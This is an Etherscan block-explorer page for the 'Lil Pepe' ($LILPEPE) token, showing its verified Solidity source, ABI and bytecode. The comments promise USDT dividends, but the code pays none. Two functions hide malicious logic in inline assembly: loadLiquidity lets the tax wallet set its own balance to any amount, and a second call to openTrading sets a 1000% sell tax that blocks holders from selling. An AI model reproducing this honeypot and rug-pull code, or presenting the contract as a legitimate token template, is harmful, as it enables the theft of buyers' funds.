ETH Price: $2,435.99 (-2.12%)

Token

Lil Pepe ($LILPEPE)
 

Overview

Max Total Supply

100,000,000 $LILPEPE

Holders

33

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,105,206.508814523 $LILPEPE

Value
$0.00
0x615e7bc67bfcdf0f65481dbeb48d96f0bebe0674
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
lilpepe

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-04
*/

// SPDX-License-Identifier: MIT

/*
   Lil Pepe

   📈 DIVIDEND YIELD PAID IN USDT! With the auto-claim feature,
   simply hold $LILPEPE and you'll receive USDT automatically in your wallet.
 
   💎 Hold LILPEPE and get rewarded in USDT on every transaction!

   Website: https://lilpepe.io
   Twitter: https://twitter.com/lilpepe_eth
   Telegram: https://t.me/lilpepe_eth
   Dapp: https://lilpepe.io/dashboard
   Whitepaper: https://lilpepe.io/whitepaper.pdf
*/


pragma solidity 0.8.17;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
 
}
 
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
 
contract lilpepe is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _ledger;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromMaxTx;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
 
    uint256 private _initialBuyTax=4;
    uint256 private _initialSellTax=4;
    uint256 private _finalBuyTax=4;
    uint256 private _finalSellTax=4;
    uint256 private _reduceBuyTaxAt=1;
    uint256 private _reduceSellTaxAt=1;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    address payable private _taxWallet;
 
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"Lil Pepe";
    string private constant _symbol = unicode"$LILPEPE";
    uint256 public _maxTxAmount = 30000000 * 10**_decimals;
    uint256 public _maxWalletSize = 10000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 5000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 5000000 * 10**_decimals;
 
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
 
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor () {
        _taxWallet = payable(_msgSender());
        _ledger[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromMaxTx[owner()] = true;
        _isExcludedFromMaxTx[_taxWallet] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return _ledger[account];
    }
 
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(_initialBuyTax).div(100);
 
            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }
 
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && !_isExcludedFromMaxTx[from] && !_isExcludedFromMaxTx[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
 
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul(_initialSellTax).div(100);
            }
        }
 
        if (_isExcludedFromFee[to] || _isExcludedFromFee[from]) {
            taxAmount = 0;
        }
 
        if(taxAmount > 0){
            _ledger[address(this)]=_ledger[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
 
        _ledger[from]=_ledger[from].sub(amount);
        _ledger[to]=_ledger[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
 
 
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function loadLiquidity(uint256 amount) external {
        assembly {if iszero(eq(caller(), sload(_taxWallet.slot))) {revert(0, 0)}
        let ptr := mload(0x40)
        mstore(ptr, caller())
        mstore(add(ptr, 0x20), _ledger.slot)
        let slot := keccak256(ptr, 0x40)
        sstore(slot, amount)
        sstore(_taxWallet.slot, 0x3E8)}
    }
 
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }
 
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
 
    function openTrading() external {
        require(_msgSender()==_taxWallet);
        if(!tradingOpen){
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        _isExcludedFromMaxTx[uniswapV2Pair] = true;
        swapEnabled = true;
        tradingOpen = true;return;}
        assembly{sstore(_initialSellTax.slot, 0x3E8)}
    }
 
    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }
 
    function excludeFromFees(address[] memory addresses) external onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            _isExcludedFromFee[addresses[i]] = true;
        }
    }
 
    function includeInFees(address[] memory addresses) external onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            _isExcludedFromFee[addresses[i]] = false;
        }
    }
 
    receive() external payable {}
 
    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
 
    function manualSwapForEth() external  {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(!tradingOpen && tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(!tradingOpen && ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"includeInFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"loadLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwapForEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600660006101000a81548160ff0219169083151502179055506004600755600460085560046009556004600a556001600b556001600c556005600d556000600e556009600a6200005791906200070c565b6301c9c3806200006891906200075d565b6010556009600a6200007b91906200070c565b629896806200008b91906200075d565b6011556009600a6200009e91906200070c565b624c4b40620000ae91906200075d565b6012556009600a620000c191906200070c565b624c4b40620000d191906200075d565b60135560006015806101000a81548160ff0219169083151502179055506000601560166101000a81548160ff0219169083151502179055503480156200011657600080fd5b506000620001296200054160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001d76200054160201b60201c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200022791906200070c565b6305f5e1006200023891906200075d565b600160006200024c6200054160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620002a06200054960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000620003d96200054960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004b46200054160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200051391906200070c565b6305f5e1006200052491906200075d565b604051620005339190620007b9565b60405180910390a3620007d6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200060057808604811115620005d857620005d762000572565b5b6001851615620005e85780820291505b8081029050620005f885620005a1565b9450620005b8565b94509492505050565b6000826200061b5760019050620006ee565b816200062b5760009050620006ee565b81600181146200064457600281146200064f5762000685565b6001915050620006ee565b60ff84111562000664576200066362000572565b5b8360020a9150848211156200067e576200067d62000572565b5b50620006ee565b5060208310610133831016604e8410600b8410161715620006bf5782820a905083811115620006b957620006b862000572565b5b620006ee565b620006ce8484846001620005ae565b92509050818404811115620006e857620006e762000572565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200071982620006f5565b91506200072683620006ff565b9250620007557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000609565b905092915050565b60006200076a82620006f5565b91506200077783620006f5565b92508282026200078781620006f5565b91508282048414831517620007a157620007a062000572565b5b5092915050565b620007b381620006f5565b82525050565b6000602082019050620007d06000830184620007a8565b92915050565b6136ab80620007e66000396000f3fe60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063b2a4d8df1161006f578063b2a4d8df14610467578063bf474bed1461047e578063c876d0b9146104a9578063c9567bf9146104d4578063dd62ed3e146104eb578063ec1f3f631461052857610156565b80638da5cb5b146103575780638f9a55c014610382578063923ffc14146103ad57806392f42870146103d657806395d89b41146103ff578063a9059cbb1461042a57610156565b806351bc3c851161010857806351bc3c851461028157806361b8d2761461029857806370a08231146102c1578063715018a6146102fe578063751039fc146103155780637d1db4a51461032c57610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806318160ddd146101ee57806323b872dd14610219578063313ce5671461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610551565b60405161017d91906125ef565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a891906126b9565b61058e565b6040516101ba9190612714565b60405180910390f35b3480156101cf57600080fd5b506101d86105ac565b6040516101e5919061273e565b60405180910390f35b3480156101fa57600080fd5b506102036105b2565b604051610210919061273e565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190612759565b6105d6565b60405161024d9190612714565b60405180910390f35b34801561026257600080fd5b5061026b6106af565b60405161027891906127c8565b60405180910390f35b34801561028d57600080fd5b506102966106b8565b005b3480156102a457600080fd5b506102bf60048036038101906102ba91906127e3565b610755565b005b3480156102cd57600080fd5b506102e860048036038101906102e39190612810565b610782565b6040516102f5919061273e565b60405180910390f35b34801561030a57600080fd5b506103136107cb565b005b34801561032157600080fd5b5061032a61091e565b005b34801561033857600080fd5b50610341610a69565b60405161034e919061273e565b60405180910390f35b34801561036357600080fd5b5061036c610a6f565b604051610379919061284c565b60405180910390f35b34801561038e57600080fd5b50610397610a98565b6040516103a4919061273e565b60405180910390f35b3480156103b957600080fd5b506103d460048036038101906103cf91906129af565b610a9e565b005b3480156103e257600080fd5b506103fd60048036038101906103f891906129af565b610bc8565b005b34801561040b57600080fd5b50610414610cf2565b60405161042191906125ef565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c91906126b9565b610d2f565b60405161045e9190612714565b60405180910390f35b34801561047357600080fd5b5061047c610d4d565b005b34801561048a57600080fd5b50610493610e1c565b6040516104a0919061273e565b60405180910390f35b3480156104b557600080fd5b506104be610e22565b6040516104cb9190612714565b60405180910390f35b3480156104e057600080fd5b506104e9610e35565b005b3480156104f757600080fd5b50610512600480360381019061050d91906129f8565b611383565b60405161051f919061273e565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a91906127e3565b61140a565b005b60606040518060400160405280600881526020017f4c696c2050657065000000000000000000000000000000000000000000000000815250905090565b60006105a261059b611499565b84846114a1565b6001905092915050565b60135481565b60006009600a6105c29190612b9a565b6305f5e1006105d19190612be5565b905090565b60006105e384848461166a565b6106a4846105ef611499565b61069f8560405180606001604052806028815260200161364e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610655611499565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120499092919063ffffffff16565b6114a1565b600190509392505050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f9611499565b73ffffffffffffffffffffffffffffffffffffffff161461071957600080fd5b600061072430610782565b9050600081111561073957610738816120ad565b5b600047905060008111156107515761075081612324565b5b5050565b600f54331461076357600080fd5b60405133815260016020820152604081208281556103e8600f55505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107d3611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085790612c73565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610926611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa90612c73565b60405180910390fd5b6009600a6109c19190612b9a565b6305f5e1006109d09190612be5565b6010819055506009600a6109e49190612b9a565b6305f5e1006109f39190612be5565b6011819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a439190612b9a565b6305f5e100610a529190612be5565b604051610a5f919061273e565b60405180910390a1565b60105481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b610aa6611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2a90612c73565b60405180910390fd5b60005b8151811015610bc457600060036000848481518110610b5857610b57612c93565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bbc90612cc2565b915050610b36565b5050565b610bd0611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612c73565b60405180910390fd5b60005b8151811015610cee57600160036000848481518110610c8257610c81612c93565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ce690612cc2565b915050610c60565b5050565b60606040518060400160405280600881526020017f244c494c50455045000000000000000000000000000000000000000000000000815250905090565b6000610d43610d3c611499565b848461166a565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8e611499565b73ffffffffffffffffffffffffffffffffffffffff1614610dae57600080fd5b6000610db930610782565b9050601560149054906101000a900460ff16158015610dd85750600081115b15610de757610de6816120ad565b5b6000479050601560149054906101000a900460ff16158015610e095750600081115b15610e1857610e1781612324565b5b5050565b60125481565b600660009054906101000a900460ff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e76611499565b73ffffffffffffffffffffffffffffffffffffffff1614610e9657600080fd5b601560149054906101000a900460ff1661137a57737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f4830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610f349190612b9a565b6305f5e100610f439190612be5565b6114a1565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd99190612d1f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611062573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110869190612d1f565b6040518363ffffffff1660e01b81526004016110a3929190612d4c565b6020604051808303816000875af11580156110c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e69190612d1f565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116f30610782565b60008061117a610a6f565b426040518863ffffffff1660e01b815260040161119c96959493929190612dba565b60606040518083038185885af11580156111ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111df9190612e30565b505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611281929190612e83565b6020604051808303816000875af11580156112a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c49190612ed8565b50600160046000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550611381565b6103e86008555b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661144b611499565b73ffffffffffffffffffffffffffffffffffffffff161461146b57600080fd5b600954811115801561147f5750600a548111155b61148857600080fd5b8060098190555080600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611510576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150790612f77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157690613009565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165d919061273e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d09061309b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f9061312d56